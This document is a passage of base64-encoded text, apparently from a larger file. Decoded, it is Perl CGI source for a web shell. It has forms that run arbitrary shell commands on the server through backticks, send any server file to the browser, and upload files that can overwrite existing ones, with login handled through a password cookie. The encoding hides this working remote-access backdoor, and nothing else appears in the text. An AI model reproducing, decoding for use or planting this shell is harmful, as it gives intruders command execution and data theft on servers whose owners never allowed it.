  2079. PEVORDsNCjxjb2RlPg0KPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3Jp
  2080. cHRMb2NhdGlvbiI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iY29tbWFu
  2081. ZCI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPg0K
  2082. JFByb21wdA0KPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImMiPg0KPGlucHV0IHR5cGU9InN1Ym1p
  2083. dCIgdmFsdWU9IkVudGVyIj4NCjwvZm9ybT4NCjwvY29kZT4NCg0KRU5EDQp9DQoNCiMtLS0tLS0t
  2084. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  2085. LS0tLS0tLS0tLS0tLS0NCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVz
  2086. ZXIgdG8gZG93bmxvYWQgZmlsZXMNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  2087. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludEZp
  2088. bGVEb3dubG9hZEZvcm0NCnsNCgkkUHJvbXB0ID0gJFdpbk5UID8gIiRDdXJyZW50RGlyPiAiIDog
  2089. IlthZG1pblxAJFNlcnZlck5hbWUgJEN1cnJlbnREaXJdXCQgIjsNCglwcmludCA8PEVORDsNCjxj
  2090. b2RlPg0KPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlv
  2091. biI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPg0K
  2092. PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImRvd25sb2FkIj4NCiRQcm9tcHQg
  2093. ZG93bmxvYWQ8YnI+PGJyPg0KRmlsZW5hbWU6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJmIiBz
  2094. aXplPSIzNSI+PGJyPjxicj4NCkRvd25sb2FkOiA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0i
  2095. QmVnaW4iPg0KPC9mb3JtPg0KPC9jb2RlPg0KRU5EDQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0t
  2096. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  2097. LS0NCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gdXBsb2Fk
  2098. IGZpbGVzDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  2099. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRGaWxlVXBsb2FkRm9ybQ0K
  2100. ew0KCSRQcm9tcHQgPSAkV2luTlQgPyAiJEN1cnJlbnREaXI+ICIgOiAiW2FkbWluXEAkU2VydmVy
  2101. TmFtZSAkQ3VycmVudERpcl1cJCAiOw0KCXByaW50IDw8RU5EOw0KPGNvZGU+DQoNCjxmb3JtIG5h
  2102. bWU9ImYiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG1ldGhvZD0iUE9TVCIgYWN0aW9u
  2103. PSIkU2NyaXB0TG9jYXRpb24iPg0KJFByb21wdCB1cGxvYWQ8YnI+PGJyPg0KRmlsZW5hbWU6IDxp
  2104. bnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmIiBzaXplPSIzNSI+PGJyPjxicj4NCk9wdGlvbnM6ICZu
  2105. YnNwOzxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0ibyIgdmFsdWU9Im92ZXJ3cml0ZSI+DQpP
  2106. dmVyd3JpdGUgaWYgaXQgRXhpc3RzPGJyPjxicj4NClVwbG9hZDombmJzcDsmbmJzcDsmbmJzcDs8
  2107. aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQmVnaW4iPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIg
  2108. bmFtZT0iZCIgdmFsdWU9IiRDdXJyZW50RGlyIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9
  2109. ImEiIHZhbHVlPSJ1cGxvYWQiPg0KPC9mb3JtPg0KPC9jb2RlPg0KRU5EDQp9DQoNCiMtLS0tLS0t
  2110. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  2111. LS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdGltZW91
  2112. dCBmb3IgYSBjb21tYW5kIGV4cGlyZXMuIFdlIG5lZWQgdG8NCiMgdGVybWluYXRlIHRoZSBzY3Jp
  2113. cHQgaW1tZWRpYXRlbHkuIFRoaXMgZnVuY3Rpb24gaXMgdmFsaWQgb25seSBvbiBVbml4LiBJdCBp
  2114. cw0KIyBuZXZlciBjYWxsZWQgd2hlbiB0aGUgc2NyaXB0IGlzIHJ1bm5pbmcgb24gTlQuDQojLS0t
  2115. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  2116. LS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgQ29tbWFuZFRpbWVvdXQNCnsNCglpZighJFdpbk5UKQ0K
  2117. CXsNCgkJYWxhcm0oMCk7DQoJCXByaW50IDw8RU5EOw0KPC94bXA+DQoNCjxjb2RlPg0KQ29tbWFu
  2118. ZCBleGNlZWRlZCBtYXhpbXVtIHRpbWUgb2YgJENvbW1hbmRUaW1lb3V0RHVyYXRpb24gc2Vjb25k
  2119. KHMpLg0KPGJyPktpbGxlZCBpdCENCkVORA0KCQkmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsN
  2120. CgkJJlByaW50UGFnZUZvb3RlcjsNCgkJZXhpdDsNCgl9DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0t
  2121. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  2122. LS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgdG8gZXhlY3V0ZSBjb21tYW5kcy4gSXQg
  2123. ZGlzcGxheXMgdGhlIG91dHB1dCBvZiB0aGUNCiMgY29tbWFuZCBhbmQgYWxsb3dzIHRoZSB1c2Vy
  2124. IHRvIGVudGVyIGFub3RoZXIgY29tbWFuZC4gVGhlIGNoYW5nZSBkaXJlY3RvcnkNCiMgY29tbWFu
  2125. ZCBpcyBoYW5kbGVkIGRpZmZlcmVudGx5LiBJbiB0aGlzIGNhc2UsIHRoZSBuZXcgZGlyZWN0b3J5
  2126. IGlzIHN0b3JlZCBpbg0KIyBhbiBpbnRlcm5hbCB2YXJpYWJsZSBhbmQgaXMgdXNlZCBlYWNoIHRp
  2127. bWUgYSBjb21tYW5kIGhhcyB0byBiZSBleGVjdXRlZC4gVGhlDQojIG91dHB1dCBvZiB0aGUgY2hh
  2128. bmdlIGRpcmVjdG9yeSBjb21tYW5kIGlzIG5vdCBkaXNwbGF5ZWQgdG8gdGhlIHVzZXJzDQojIHRo
  2129. ZXJlZm9yZSBlcnJvciBtZXNzYWdlcyBjYW5ub3QgYmUgZGlzcGxheWVkLg0KIy0tLS0tLS0tLS0t
  2130. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  2131. LS0tLS0tLS0tLQ0Kc3ViIEV4ZWN1dGVDb21tYW5kDQp7DQoJaWYoJFJ1bkNvbW1hbmQgPX4gbS9e
  2132. XHMqY2RccysoLispLykgIyBpdCBpcyBhIGNoYW5nZSBkaXIgY29tbWFuZA0KCXsNCgkJIyB3ZSBj
  2133. aGFuZ2UgdGhlIGRpcmVjdG9yeSBpbnRlcm5hbGx5LiBUaGUgb3V0cHV0IG9mIHRoZQ0KCQkjIGNv
  2134. bW1hbmQgaXMgbm90IGRpc3BsYXllZC4NCgkJDQoJCSRPbGREaXIgPSAkQ3VycmVudERpcjsNCgkJ
  2135. JENvbW1hbmQgPSAiY2QgXCIkQ3VycmVudERpclwiIi4kQ21kU2VwLiJjZCAkMSIuJENtZFNlcC4k
  2136. Q21kUHdkOw0KCQljaG9wKCRDdXJyZW50RGlyID0gYCRDb21tYW5kYCk7DQoJCSZQcmludFBhZ2VI
  2137. ZWFkZXIoImMiKTsNCgkJJFByb21wdCA9ICRXaW5OVCA/ICIkT2xkRGlyPiAiIDogIlthZG1pblxA
  2138. JFNlcnZlck5hbWUgJE9sZERpcl1cJCAiOw0KCQlwcmludCAiJFByb21wdCAkUnVuQ29tbWFuZCI7
  2139. DQoJfQ0KCWVsc2UgIyBzb21lIG90aGVyIGNvbW1hbmQsIGRpc3BsYXkgdGhlIG91dHB1dA0KCXsN
  2140. CgkJJlByaW50UGFnZUhlYWRlcigiYyIpOw0KCQkkUHJvbXB0ID0gJFdpbk5UID8gIiRDdXJyZW50
  2141. RGlyPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJEN1cnJlbnREaXJdXCQgIjsNCgkJcHJpbnQg
  2142. IiRQcm9tcHQgJFJ1bkNvbW1hbmQ8eG1wPiI7DQoJCSRDb21tYW5kID0gImNkIFwiJEN1cnJlbnRE
  2143. aXJcIiIuJENtZFNlcC4kUnVuQ29tbWFuZC4kUmVkaXJlY3RvcjsNCgkJaWYoISRXaW5OVCkNCgkJ
  2144. ew0KCQkJJFNJR3snQUxSTSd9ID0gXCZDb21tYW5kVGltZW91dDsNCgkJCWFsYXJtKCRDb21tYW5k
  2145. VGltZW91dER1cmF0aW9uKTsNCgkJfQ0KCQlpZigkU2hvd0R5bmFtaWNPdXRwdXQpICMgc2hvdyBv
  2146. dXRwdXQgYXMgaXQgaXMgZ2VuZXJhdGVkDQoJCXsNCgkJCSR8PTE7DQoJCQkkQ29tbWFuZCAuPSAi
  2147. IHwiOw0KCQkJb3BlbihDb21tYW5kT3V0cHV0LCAkQ29tbWFuZCk7DQoJCQl3aGlsZSg8Q29tbWFu
  2148. ZE91dHB1dD4pDQoJCQl7DQoJCQkJJF8gPX4gcy8oXG58XHJcbikkLy87DQoJCQkJcHJpbnQgIiRf
  2149. XG4iOw0KCQkJfQ0KCQkJJHw9MDsNCgkJfQ0KCQllbHNlICMgc2hvdyBvdXRwdXQgYWZ0ZXIgY29t
  2150. bWFuZCBjb21wbGV0ZXMNCgkJew0KCQkJcHJpbnQgYCRDb21tYW5kYDsNCgkJfQ0KCQlpZighJFdp
  2151. bk5UKQ0KCQl7DQoJCQlhbGFybSgwKTsNCgkJfQ0KCQlwcmludCAiPC94bXA+IjsNCgl9DQoJJlBy
  2152. aW50Q29tbWFuZExpbmVJbnB1dEZvcm07DQoJJlByaW50UGFnZUZvb3RlcjsNCn0NCg0KIy0tLS0t
  2153. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  2154. LS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGRpc3BsYXlzIHRoZSBwYWdlIHRoYXQg
  2155. Y29udGFpbnMgYSBsaW5rIHdoaWNoIGFsbG93cyB0aGUgdXNlcg0KIyB0byBkb3dubG9hZCB0aGUg
  2156. c3BlY2lmaWVkIGZpbGUuIFRoZSBwYWdlIGFsc28gY29udGFpbnMgYSBhdXRvLXJlZnJlc2gNCiMg
  2157. ZmVhdHVyZSB0aGF0IHN0YXJ0cyB0aGUgZG93bmxvYWQgYXV0b21hdGljYWxseS4NCiMgQXJndW1l
  2158. bnQgMTogRnVsbHkgcXVhbGlmaWVkIGZpbGVuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIGRvd25sb2Fk
  2159. ZWQNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  2160. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludERvd25sb2FkTGlua1BhZ2UNCnsN
  2161. Cglsb2NhbCgkRmlsZVVybCkgPSBAXzsNCglpZigtZSAkRmlsZVVybCkgIyBpZiB0aGUgZmlsZSBl
  2162. eGlzdHMNCgl7DQoJCSMgZW5jb2RlIHRoZSBmaWxlIGxpbmsgc28gd2UgY2FuIHNlbmQgaXQgdG8g
  2163. dGhlIGJyb3dzZXINCgkJJEZpbGVVcmwgPX4gcy8oW15hLXpBLVowLTldKS8nJScudW5wYWNrKCJI
  2164. KiIsJDEpL2VnOw0KCQkkRG93bmxvYWRMaW5rID0gIiRTY3JpcHRMb2NhdGlvbj9hPWRvd25sb2Fk
  2165. JmY9JEZpbGVVcmwmbz1nbyI7DQoJCSRIdG1sTWV0YUhlYWRlciA9ICI8bWV0YSBIVFRQLUVRVUlW
  2166. PVwiUmVmcmVzaFwiIENPTlRFTlQ9XCIxOyBVUkw9JERvd25sb2FkTGlua1wiPiI7DQoJCSZQcmlu
  2167. dFBhZ2VIZWFkZXIoImMiKTsNCgkJcHJpbnQgPDxFTkQ7DQo8Y29kZT4NCg0KU2VuZGluZyBGaWxl
  2168. ICRUcmFuc2ZlckZpbGUuLi48YnI+DQpJZiB0aGUgZG93bmxvYWQgZG9lcyBub3Qgc3RhcnQgYXV0
  2169. b21hdGljYWxseSwNCjxhIGhyZWY9IiREb3dubG9hZExpbmsiPkNsaWNrIEhlcmU8L2E+Lg0KRU5E
  2170. DQoJCSZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOw0KCQkmUHJpbnRQYWdlRm9vdGVyOw0KCX0N
  2171. CgllbHNlICMgZmlsZSBkb2Vzbid0IGV4aXN0DQoJew0KCQkmUHJpbnRQYWdlSGVhZGVyKCJmIik7
  2172. DQoJCXByaW50ICJGYWlsZWQgdG8gZG93bmxvYWQgJEZpbGVVcmw6ICQhIjsNCgkJJlByaW50Rmls
  2173. ZURvd25sb2FkRm9ybTsNCgkJJlByaW50UGFnZUZvb3RlcjsNCgl9DQp9DQoNCiMtLS0tLS0tLS0t
  2174. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  2175. LS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiByZWFkcyB0aGUgc3BlY2lmaWVkIGZpbGUgZnJv
  2176. bSB0aGUgZGlzayBhbmQgc2VuZHMgaXQgdG8gdGhlDQojIGJyb3dzZXIsIHNvIHRoYXQgaXQgY2Fu
  2177. IGJlIGRvd25sb2FkZWQgYnkgdGhlIHVzZXIuDQojIEFyZ3VtZW50IDE6IEZ1bGx5IHF1YWxpZmll
  2178. ZCBwYXRobmFtZSBvZiB0aGUgZmlsZSB0byBiZSBzZW50Lg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0t
  2179. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  2180. LQ0Kc3ViIFNlbmRGaWxlVG9Ccm93c2VyDQp7DQoJbG9jYWwoJFNlbmRGaWxlKSA9IEBfOw0KCWlm
  2181. KG9wZW4oU0VOREZJTEUsICRTZW5kRmlsZSkpICMgZmlsZSBvcGVuZWQgZm9yIHJlYWRpbmcNCgl7
  2182. DQoJCWlmKCRXaW5OVCkNCgkJew0KCQkJYmlubW9kZShTRU5ERklMRSk7DQoJCQliaW5tb2RlKFNU
  2183. RE9VVCk7DQoJCX0NCgkJJEZpbGVTaXplID0gKHN0YXQoJFNlbmRGaWxlKSlbN107DQoJCSgkRmls
  2184. ZW5hbWUgPSAkU2VuZEZpbGUpID1+ICBtIShbXi9eXFxdKikkITsNCgkJcHJpbnQgIkNvbnRlbnQt
  2185. VHlwZTogYXBwbGljYXRpb24veC11bmtub3duXG4iOw0KCQlwcmludCAiQ29udGVudC1MZW5ndGg6
  2186. ICRGaWxlU2l6ZVxuIjsNCgkJcHJpbnQgIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7
  2187. IGZpbGVuYW1lPSQxXG5cbiI7DQoJCXByaW50IHdoaWxlKDxTRU5ERklMRT4pOw0KCQljbG9zZShT
  2188. RU5ERklMRSk7DQoJfQ0KCWVsc2UgIyBmYWlsZWQgdG8gb3BlbiBmaWxlDQoJew0KCQkmUHJpbnRQ
  2189. YWdlSGVhZGVyKCJmIik7DQoJCXByaW50ICJGYWlsZWQgdG8gZG93bmxvYWQgJFNlbmRGaWxlOiAk
  2190. ISI7DQoJCSZQcmludEZpbGVEb3dubG9hZEZvcm07DQoNCgkJJlByaW50UGFnZUZvb3RlcjsNCgl9
  2191. DQp9DQoNCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  2192. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxl
  2193. ZCB3aGVuIHRoZSB1c2VyIGRvd25sb2FkcyBhIGZpbGUuIEl0IGRpc3BsYXlzIGEgbWVzc2FnZQ0K
  2194. IyB0byB0aGUgdXNlciBhbmQgcHJvdmlkZXMgYSBsaW5rIHRocm91Z2ggd2hpY2ggdGhlIGZpbGUg
  2195. Y2FuIGJlIGRvd25sb2FkZWQuDQojIFRoaXMgZnVuY3Rpb24gaXMgYWxzbyBjYWxsZWQgd2hlbiB0
  2196. aGUgdXNlciBjbGlja3Mgb24gdGhhdCBsaW5rLiBJbiB0aGlzIGNhc2UsDQojIHRoZSBmaWxlIGlz
  2197. IHJlYWQgYW5kIHNlbnQgdG8gdGhlIGJyb3dzZXIuDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  2198. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpz
  2199. dWIgQmVnaW5Eb3dubG9hZA0Kew0KCSMgZ2V0IGZ1bGx5IHF1YWxpZmllZCBwYXRoIG9mIHRoZSBm
  2200. aWxlIHRvIGJlIGRvd25sb2FkZWQNCglpZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9e
  2201. XFx8Xi46LykpIHwNCgkJKCEkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cLy8pKSkgIyBw
  2202. YXRoIGlzIGFic29sdXRlDQoJew0KCQkkVGFyZ2V0RmlsZSA9ICRUcmFuc2ZlckZpbGU7DQoJfQ0K
  2203. CWVsc2UgIyBwYXRoIGlzIHJlbGF0aXZlDQoJew0KCQljaG9wKCRUYXJnZXRGaWxlKSBpZigkVGFy
  2204. Z2V0RmlsZSA9ICRDdXJyZW50RGlyKSA9fiBtL1tcXFwvXSQvOw0KCQkkVGFyZ2V0RmlsZSAuPSAk
  2205. UGF0aFNlcC4kVHJhbnNmZXJGaWxlOw0KCX0NCg0KCWlmKCRPcHRpb25zIGVxICJnbyIpICMgd2Ug
  2206. aGF2ZSB0byBzZW5kIHRoZSBmaWxlDQoJew0KCQkmU2VuZEZpbGVUb0Jyb3dzZXIoJFRhcmdldEZp
  2207. bGUpOw0KCX0NCgllbHNlICMgd2UgaGF2ZSB0byBzZW5kIG9ubHkgdGhlIGxpbmsgcGFnZQ0KCXsN
  2208. CgkJJlByaW50RG93bmxvYWRMaW5rUGFnZSgkVGFyZ2V0RmlsZSk7DQoJfQ0KfQ0KDQojLS0tLS0t
  2209. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  2210. LS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIg
  2211. d2FudHMgdG8gdXBsb2FkIGEgZmlsZS4gSWYgdGhlDQojIGZpbGUgaXMgbm90IHNwZWNpZmllZCwg
  2212. aXQgZGlzcGxheXMgYSBmb3JtIGFsbG93aW5nIHRoZSB1c2VyIHRvIHNwZWNpZnkgYQ0KIyBmaWxl
  2213. LCBvdGhlcndpc2UgaXQgc3RhcnRzIHRoZSB1cGxvYWQgcHJvY2Vzcy4NCiMtLS0tLS0tLS0tLS0t
  2214. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  2215. LS0tLS0tLS0NCnN1YiBVcGxvYWRGaWxlDQp7DQoJIyBpZiBubyBmaWxlIGlzIHNwZWNpZmllZCwg
  2216. cHJpbnQgdGhlIHVwbG9hZCBmb3JtIGFnYWluDQoJaWYoJFRyYW5zZmVyRmlsZSBlcSAiIikNCgl7
  2217. DQoJCSZQcmludFBhZ2VIZWFkZXIoImYiKTsNCgkJJlByaW50RmlsZVVwbG9hZEZvcm07DQoJCSZQ
  2218. cmludFBhZ2VGb290ZXI7DQoJCXJldHVybjsNCgl9DQoJJlByaW50UGFnZUhlYWRlcigiYyIpOw0K
  2219. DQoJIyBzdGFydCB0aGUgdXBsb2FkaW5nIHByb2Nlc3MNCglwcmludCAiVXBsb2FkaW5nICRUcmFu
  2220. c2ZlckZpbGUgdG8gJEN1cnJlbnREaXIuLi48YnI+IjsNCg0KCSMgZ2V0IHRoZSBmdWxsbHkgcXVh
  2221. bGlmaWVkIHBhdGhuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIGNyZWF0ZWQNCgljaG9wKCRUYXJnZXRO
  2222. YW1lKSBpZiAoJFRhcmdldE5hbWUgPSAkQ3VycmVudERpcikgPX4gbS9bXFxcL10kLzsNCgkkVHJh
  2223. bnNmZXJGaWxlID1+IG0hKFteL15cXF0qKSQhOw0KCSRUYXJnZXROYW1lIC49ICRQYXRoU2VwLiQx
  2224. Ow0KDQoJJFRhcmdldEZpbGVTaXplID0gbGVuZ3RoKCRpbnsnZmlsZWRhdGEnfSk7DQoJIyBpZiB0
  2225. aGUgZmlsZSBleGlzdHMgYW5kIHdlIGFyZSBub3Qgc3VwcG9zZWQgdG8gb3ZlcndyaXRlIGl0DQoJ
  2226. aWYoLWUgJFRhcmdldE5hbWUgJiYgJE9wdGlvbnMgbmUgIm92ZXJ3cml0ZSIpDQoJew0KCQlwcmlu
  2227. dCAiRmFpbGVkOiBEZXN0aW5hdGlvbiBmaWxlIGFscmVhZHkgZXhpc3RzLjxicj4iOw0KCX0NCgll
  2228. bHNlICMgZmlsZSBpcyBub3QgcHJlc2VudA0KCXsNCgkJaWYob3BlbihVUExPQURGSUxFLCAiPiRU
  2229. YXJnZXROYW1lIikpDQoJCXsNCgkJCWJpbm1vZGUoVVBMT0FERklMRSkgaWYgJFdpbk5UOw0KCQkJ
  2230. cHJpbnQgVVBMT0FERklMRSAkaW57J2ZpbGVkYXRhJ307DQoJCQljbG9zZShVUExPQURGSUxFKTsN
  2231. CgkJCXByaW50ICJUcmFuc2ZlcmVkICRUYXJnZXRGaWxlU2l6ZSBCeXRlcy48YnI+IjsNCgkJCXBy
  2232. aW50ICJGaWxlIFBhdGg6ICRUYXJnZXROYW1lPGJyPiI7DQoJCX0NCgkJZWxzZQ0KCQl7DQoJCQlw
  2233. cmludCAiRmFpbGVkOiAkITxicj4iOw0KCQl9DQoJfQ0KCXByaW50ICIiOw0KCSZQcmludENvbW1h
  2234. bmRMaW5lSW5wdXRGb3JtOw0KDQoJJlByaW50UGFnZUZvb3RlcjsNCn0NCg0KIy0tLS0tLS0tLS0t
  2235. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  2236. LS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB1c2VyIHdhbnRz
  2237. IHRvIGRvd25sb2FkIGEgZmlsZS4gSWYgdGhlDQojIGZpbGVuYW1lIGlzIG5vdCBzcGVjaWZpZWQs
  2238. IGl0IGRpc3BsYXlzIGEgZm9ybSBhbGxvd2luZyB0aGUgdXNlciB0byBzcGVjaWZ5IGENCiMgZmls
  2239. ZSwgb3RoZXJ3aXNlIGl0IGRpc3BsYXlzIGEgbWVzc2FnZSB0byB0aGUgdXNlciBhbmQgcHJvdmlk
  2240. ZXMgYSBsaW5rDQojIHRocm91Z2ggIHdoaWNoIHRoZSBmaWxlIGNhbiBiZSBkb3dubG9hZGVkLg0K
  2241. Iy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  2242. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIERvd25sb2FkRmlsZQ0Kew0KCSMgaWYgbm8gZmls
  2243. ZSBpcyBzcGVjaWZpZWQsIHByaW50IHRoZSBkb3dubG9hZCBmb3JtIGFnYWluDQoJaWYoJFRyYW5z
  2244. ZmVyRmlsZSBlcSAiIikNCgl7DQoJCSZQcmludFBhZ2VIZWFkZXIoImYiKTsNCgkJJlByaW50Rmls
  2245. ZURvd25sb2FkRm9ybTsNCgkJJlByaW50UGFnZUZvb3RlcjsNCgkJcmV0dXJuOw0KCX0NCgkNCgkj
  2246. IGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkDQoJ
  2247. aWYoKCRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlxcfF4uOi8pKSB8DQoJCSghJFdpbk5U
  2248. ICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXC8vKSkpICMgcGF0aCBpcyBhYnNvbHV0ZQ0KCXsNCgkJ
  2249. JFRhcmdldEZpbGUgPSAkVHJhbnNmZXJGaWxlOw0KCX0NCgllbHNlICMgcGF0aCBpcyByZWxhdGl2
  2250. ZQ0KCXsNCgkJY2hvcCgkVGFyZ2V0RmlsZSkgaWYoJFRhcmdldEZpbGUgPSAkQ3VycmVudERpcikg
  2251. PX4gbS9bXFxcL10kLzsNCgkJJFRhcmdldEZpbGUgLj0gJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsN
  2252. Cgl9DQoNCglpZigkT3B0aW9ucyBlcSAiZ28iKSAjIHdlIGhhdmUgdG8gc2VuZCB0aGUgZmlsZQ0K
  2253. CXsNCgkJJlNlbmRGaWxlVG9Ccm93c2VyKCRUYXJnZXRGaWxlKTsNCgl9DQoJZWxzZSAjIHdlIGhh
  2254. dmUgdG8gc2VuZCBvbmx5IHRoZSBsaW5rIHBhZ2UNCgl7DQoJCSZQcmludERvd25sb2FkTGlua1Bh
  2255. Z2UoJFRhcmdldEZpbGUpOw0KCX0NCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  2256. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBNYWlu
  2257. IFByb2dyYW0gLSBFeGVjdXRpb24gU3RhcnRzIEhlcmUNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  2258. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0N
  2259. CiZSZWFkUGFyc2U7DQomR2V0Q29va2llczsNCg0KJFNjcmlwdExvY2F0aW9uID0gJEVOVnsnU0NS
  2260. SVBUX05BTUUnfTsNCiRTZXJ2ZXJOYW1lID0gJEVOVnsnU0VSVkVSX05BTUUnfTsNCiRMb2dpblBh
  2261. c3N3b3JkID0gJGlueydwJ307DQokUnVuQ29tbWFuZCA9ICRpbnsnYyd9Ow0KJFRyYW5zZmVyRmls
  2262. ZSA9ICRpbnsnZid9Ow0KJE9wdGlvbnMgPSAkaW57J28nfTsNCg0KJEFjdGlvbiA9ICRpbnsnYSd9
  2263. Ow0KJEFjdGlvbiA9ICJsb2dpbiIgaWYoJEFjdGlvbiBlcSAiIik7ICMgbm8gYWN0aW9uIHNwZWNp
  2264. ZmllZCwgdXNlIGRlZmF1bHQNCg0KIyBnZXQgdGhlIGRpcmVjdG9yeSBpbiB3aGljaCB0aGUgY29t
  2265. bWFuZHMgd2lsbCBiZSBleGVjdXRlZA0KJEN1cnJlbnREaXIgPSAkaW57J2QnfTsNCmNob3AoJEN1
  2266. cnJlbnREaXIgPSBgJENtZFB3ZGApIGlmKCRDdXJyZW50RGlyIGVxICIiKTsNCg0KJExvZ2dlZElu
  2267. ID0gJENvb2tpZXN7J1NBVkVEUFdEJ30gZXEgJFBhc3N3b3JkOw0KDQppZigkQWN0aW9uIGVxICJs
  2268. b2dpbiIgfHwgISRMb2dnZWRJbikgIyB1c2VyIG5lZWRzL2hhcyB0byBsb2dpbg0Kew0KCSZQZXJm
